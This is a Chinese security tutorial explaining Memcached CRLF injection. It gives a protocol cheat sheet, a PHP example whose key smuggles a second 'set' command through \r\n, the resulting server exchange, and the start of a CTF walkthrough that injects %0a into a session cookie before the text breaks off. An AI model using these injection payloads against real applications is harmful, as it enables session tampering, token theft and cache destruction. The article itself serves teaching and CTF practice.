# 被人遗忘的Memcached内存注射
0x00 写在前面
=========
* * *
wooyun主站也有过Memcached相关漏洞,但大多都是未授权访问,其实即使是部署得当的Memcached,如果碰上安全意识差的程序员哥哥,那么同样会出现Memcached安全风险,导致敏感内存泄露。
也就是本文要说的Memcached注入
0x01 Memcached简介&安全性分析
======================
* * *
Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。
它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。
用白话就是说,当传统web将访问产生的临时数据存储在后端数据库(如user sessions),部署了Memcached的应用会将user sessions以及其他一些敏感信息存储在RAM中,增速同时也减轻后端数据库反复查询带来的负载。
Memcached创建者Dormando很早就写过两篇文章,告诫开发人员不要用memcached存储Session。但是很多开发者为了性能或者其他原因,依旧把session存储在memcached中。这样做,一旦memcached被攻击,直接将导致管理员或者是用户token泄露。
0x02 Memcached协议
================
* * *
当Memcache被部署之后,我们该如何向其中添加数据?我们通过一个cheat sheet了解一下Memcached的协议。
Memcached的语法由如下元素组成
{COMMAND}0x20{ARGUMENT}(LF|CRLF)
command字段有如下几条命令
1. 存储操作(set, add, replace, append, prepend, cas)
2. 检索操作 (get, gets)
3. 删除操作 (delete)
4. 增减操作 (incr, decr)
5. touch
6. slabs reassign
7. slabs automove
8. lru_crawler
9. 统计操作(stats items, slabs, cachedump)
10. 其他操作 (version, flush_all, quit)
下面给出几个安全测试中有用的命令
Command | 描述 | 实例 |
get | 读某个值 | get mykey |
set | 强制设置某个键值 | set mykey 0 60 5 |
add | 添加新键值对 | add newkey 0 60 5 |
replace | 覆盖已经存在的key | replace key 0 60 5 |
flush_all | 让所有条目失效 | flush_all |
stats | 打印当前状态 | stats |
stats malloc | 打印内存状态 | stats malloc |
version | 打印Memcached版本 | version |
**stats cachedump 读取内存中存储的条目**
0x03 Memcached代码实现
==================
* * *
部署好Memcached之后,一个调用Memcached的php代码是这样的。
“`
set(“prefix_”.$_GET[‘key’],”data”);
“`
为了体现漏洞的产生,我想这样写
“`
addServer(‘localhost’, 11211);
$m->set(“key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n”,”1234567890″,30);
?>
“`
`set(“key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n”,”1234567890″,30)`
是的,这里也就能看到问题。
执行刚刚的命令的时候,server和client的通信是这样的(>表示发送到Memcached ,<表示从Memcached的返回) ```
> set key 0 0 1
> 1
< STORED > set injected 0 3600 10
> 1234567890
< STORED > 0 30 10
< ERROR > 1234567890
< ERROR ``` 可以看到,对Memcached的协议来讲,\r\n是可以用来分割命令的,所以说,我们能直接通过CLRF注入,将\r\n注入到将要传入Memcached的元素中(例如cookies),实现命令执行。 0x04 Memcache Injection实例
========================= * * * 最近的一次ctf中,有一个典型的基于CLRF的Memcache注入。(目前该站可以访问) `http://login2.chal.mmactf.link/login` login as admin 登录之后的请求是这样的 ```
GET / HTTP/1.1
Host: login2.chal.mmactf.link
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/ 20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://login2.chal.mmactf.link/login
Cookie: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
Connection: keep-alive ``` 在测试http头注入的时候,我们发现将%0a注入到cookies中时,也就是请求: `Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb` 返回如下 ```
MemcacheError:ERROR
ERROR